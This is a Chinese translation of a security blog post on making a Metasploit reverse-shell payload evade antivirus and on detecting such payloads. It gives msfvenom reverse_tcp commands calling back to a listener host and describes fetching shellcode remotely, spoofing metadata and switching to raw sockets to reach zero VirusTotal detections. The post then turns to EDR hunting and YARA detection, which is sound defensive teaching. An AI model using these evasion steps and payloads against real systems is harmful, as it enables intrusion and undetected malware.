导语:在本文中,我们将使用VirusTotal作为检测的标准,并使用Metasploit反向TCP ShellCode作为Payload。
一、概述
反病毒方案通常用于检测恶意软件,并且通常要依靠静态分析来区分文件的好坏。如果文件自身就包含恶意内容,那么这种方法会有效。但如果攻击者使用轻量级的Stager来代替下载,并将代码加载到内存中,那么会发生什么呢?事实证明,这是绕过反病毒软件的一种好方法。
尽管这种方法并不新鲜,但绕过反病毒软件对于大多数现代恶意软件来说都很常见,我们希望提供一些有关如何构建此类Payload时应该采取步骤的思路,并说明防御者如何使用常见的EDR工具来大规模检测此类活动。
在本文中,我们将使用VirusTotal作为检测的标准,并使用Metasploit反向TCP ShellCode作为Payload。这提供了一种粗略的方法,可以衡量出Payload的有效性,但是需要注意的是,只有动态检测或基于行为的检测,才能捕获到现实世界中的Payload。
二、攻击方式
2.1 Msfvenom文件创建
我们从基础知识开始,首先使用msfvenom创建一个反向Shell可执行Payload,其中包括以下命令:
msfvenom –p windows/meterpreter/reverse_tcp LHOST=172.16.28.216 LPORT=4444 –f exe –o met.exe
将此文件上传到VirusTotal,发现它被大量反病毒引擎标记,这是正常的,因为它是一个常见的Payload,许多安全厂商都会针对Metasploit进行检测与查杀。
鉴于将该文件标记为恶意的引擎数量较多,所以大部分EDR都能够有效检测出来。此外,某些引擎命中的名称也很好的说明了该文件的性质,例如:Trojan:win32/Meterpreter.O。
2.2 嵌入式Meterpreter ShellCode
鉴于大多数反病毒厂商都掌握了Metasploit可执行模板的签名,因此我们决定创建自己的可执行文件,然后再执行Metasploit ShellCode。我们再次使用msfvenom,但在这次只生成ShellCode,而不是完整的可执行文件:
msfvenom –p windows/meterpreter/reverse_tcp LHOST=172.16.28.216 LPORT=4444 –f c
我们将ShellCode复制到一个单独的C++源文件中,通过这个简单的步骤,可以调用memcpy,以将指令加载到内存中。我们发现,VirusTotal的命中数量明显减少,由45减少到了14。
命中数量的减少,说明了反病毒签名与Metasploit可执行模板具有强相关性。但是,还有其他方法能够减少文件被VirusTotal引擎命中的数量。
2.3 远程托管ShellCode
我们测试的第三种技术,涉及到动态加载ShellCode。它不是使用已编写到二进制文件中的ShellCode编译可执行文件,而是在运行时检索ShellCode,并将其加载到内存中。
我们创建了一个名为get_shellcode()的函数,用于从另一台主机远程检索前面示例中使用的msfvenom ShellCode。该函数使用winhttp库中的各种方法,通过HTTP的方式检索ShellCode。此外,当从远程位置以ASCII格式检索ShellCode时,需要执行额外步骤,以将指令转换为准备执行的原始二进制格式。
这导致VirusTotal命中率从14下降到5。这表明,一些引擎可能使用了基于Metasploit ShellCode模式的签名。从二进制文件自身中删除ShellCode之后,它现在就能够绕过这些引擎。
2.4 元数据更改
一些反病毒引擎会查阅文件的元数据,从而判断其来源和安全性。Visual Studio提供了一种更改元数据的简单方法,允许我们修改二进制属性,从而使其与信誉良好的软件厂商匹配。我们唯一需要进行的步骤,就是向项目中添加“Version”资源,并从合法的可执行文件中复制条目。
在将cmd.exe中的元数据复制到可编辑的字段中后,我们将二进制文件重新提交到VirusTotal。这时,命中率减少到仅有3。这意味着,某些引擎会针对元数据来自信誉良好的厂商的文件增加倾向于合法的权重。
2.5 替代HTTP函数
尽管已经删除了Metasploit模板和ShellCode,并添加了元数据,但仍然可以捕获到Payload。为了获得0命中率,我们要思考,在这一过程遗漏了什么?
我们需要重新思考,首先要确定代码的哪个部分导致了告警。从直觉上,怀疑是函数VirtualAlloc(带有READWRITE_EXECUTE参数)和memcpy导致3个反病毒引擎认为该文件是可疑的,因为这些函数通常用于内存注入。然而,事实证明这是不正确的。实际上,为HTTP请求调用的函数可以获得远程托管的ShellCode,从而导致可疑的结果。我们使用的函数是:
WinHttpOpen WinHttpConnect WinHttpOpenRequest WinHttpSendRequest WinHttpReceiveResponse WinHttpQueryDataAvailable WinHttpReadData WinHttpCloseHandle
幸运的是,Windows中提供了许多不同的库,可以用于下载数据,例如Winlnet、WinHTTP和Windows Sockets。通过切换到更加人工的基于套接字的实现,成功让任何反病毒引擎都不会将下载的代码标记为可疑。
然后,我们将其与先前演示的ShellCode加载进程相结合。
最终,Payload成功向侦听的主机发送了反向Shell,更重要的是,VirusTotal上的检出率为0。
本文所采取的步骤,展示了如何通过一些简单的修改,来使Payload绕过安全控制。然而,我们还可以选择许多其他选项,包括:
1. 在已知合法的二进制文件中插入Payload(https://github.com/secretsquirrel/the-backdoor-factory)。
2. 使用Veil(https://github.com/Veil-Framework/Veil)进行Payload的编码和加密。
3. 使用其他语言,例如:PowerShell、Python、Ruby、C#、Java、Go等。
4. 对Payload进行代码签名。
显然,作为攻击者,应该避免将文件提交到VirusTotal。
三、检测
在展示了如何创建二进制文件,从而动态加载代码并绕过VirusTotal之后,我们现在将讨论在我们的环境中发现此类可执行文件的一些不同的方式。
EDR终端通常会全面分析进程、网络、文件、注册表和模块加载事件。这些数据集中,有多种方法可以用于检测本文中展示的恶意二进制文件生成的活动。
3.1 进程/文件数据
当二进制文件执行EDR时,通常会追踪进程的名称、其父进程以及这些进程的元数据。通常,还集成了VirusTotal来帮助检测以前看到的恶意二进制文件。但是,有一些不同的狩猎用例,可以用于发现VirusTotal可能遗漏的恶意二进制文件,包括:
1. 普遍性:如果在VirusTotal或者我们的环境中从未发现过这个二进制文件,那么它可能会被归类为异常,并且可能具有恶意性质。
2. 元数据伪造:可以使用许多不同的搜索方式来检测元数据欺骗,其中最明显的一种,是扫描使用了Microsoft元数据,但不是Microsoft二进制文件的文件。
3.2 模块加载
模块加载信息可以帮助我们检测具有潜在可疑导入的二进制文件,例如WinHTTP或导入的异常组合。在本文中构建的二进制文件,需要执行网络通信和内存注入的功能。
例如,DLL和函数是:
WINHTTP.dll_WinHttpReadData KERNEL32.dll_HeapAlloc KERNEL32.dll_VirtualAlloc VCRUNTIME140D.dll_memcpy VCRUNTIME140D.dll_memset
搜索与这些DLL相关联的模块加载事件,或者任何其他DLL文件的缺失,可能会为我们提供一种搜索异常二进制文件的方式。请记住,尽管kernel32和winhttp被广泛使用,但如果只是单独搜索这些事件,将会产生大量的误报。
3.3 网络通信
建立进程网络通信的基线,可能是发现网络上异常二进制文件的一种强大技术。例如,我们可能需要考虑:
1. 文件名、路径、远程IP、远程端口的聚合数据。
2. 过滤掉浏览器、更新程序和核心Windows进程等常用进程。
3. 基于IP信誉,不断丰富已知合法、已知恶意和未分类的地址和域名。
这样的过程,应该可以帮助我们找到创建异常连接的二进制文件,例如本文中恶意文件的网络连接行为。
3.4 内存注入
本文中使用的Meterpreter Payload通过反射的方式将3个DLL加载到目标进程的内存之中,从而实现最终的恶意目的。可以使用现代的EDR工具,来检测注入代码的进程,以及所产生的异常存储区域。
例如,Countercept的EDR终端可以突出显示具有读取、写入执行权限和包含DLL特定指标(例如:MZ和PE标头)的异常区域。
截图中展现了4个反射加载的区域(1对应于Stager,而3对应于反射加载的DLL)。为了确认是使用Meterpreter作为植入物,可以选择几种不同的机制。第一种(也是最原始的一种)是查看区域的模块大小,这些大小与3个Meterpreter DLL的大小相近。另一种方法是手动或使用YARA分析区域中的内容。
四、YARA
有许多种不同的方法,可以大规模分析可执行文件。一种是使用YARA签名,它可以帮助我们扫描磁盘上的文件内容,或作为正在运行的进程加载到内存中。
4.1 字符串
在进行任何类型的恶意软件分析或逆向工程之前,采取的最简单步骤就是查看二进制,或内存转储中存在的字符串。我们的恶意二进制文件的字符串输出如下所示:转到第二个二进制文件,即调用写入源代码ShellCode的Windows C++程序,我们可以使用类似的检测方法。
没有任何其他上下文,这些字符串已经很好地指示了二进制文件的行为。IP地址(172.16.28.46)和WinHTTP调用的存在,表明程序可能会连接到该地址。此外,程序可能会尝试下载文件revshell.txt,似乎符合逻辑,但该文件实际上包含ShellCode的Payload。
4.2 ShellCode检测
这篇文章的前两个例子,是在二进制文件自身中包含ShellCode。而最终的示例会动态下载ShellCode,并将其存储在内存中。针对这两种情况,都可以检测到ShellCode为默认msfvenom Payload(如windows/meterpreter/reverse_tcp)具有的常见十六进制指令,无论它们使用了什么IP或端口。
为了演示具体的检测原理,我们将使用Radare打开二进制文件。搜索前几个十六进制指令,我们就可以找到ShellCode。
在确认位置后,我们可以获取341个字节(Payload的大小)以获得完整的Payload。为了大规模执行此操作,我们可以将这个简单的十六进制搜索转换为Yara签名。
五、总结
VirusTotal这些平台的丰富来源,可以帮助安全团队有效地发现已知的恶意文件。然而,正如这篇文章所展示的,仅依靠VirusTotal不足以捕获所有可疑的文件,因为尽管已经是2019年,但编写可以逃避大多数反病毒引擎检测的可执行文件也是比较容易的。 本文翻译自:https://countercept.com/blog/dynamic-shellcode-execution如若转载,请注明原文地址: https://www.4hou.com/technology/16845.html
本文地址: (转载)绕过杀软:通过网络接收ShellCode的无文件攻击方式与检测方法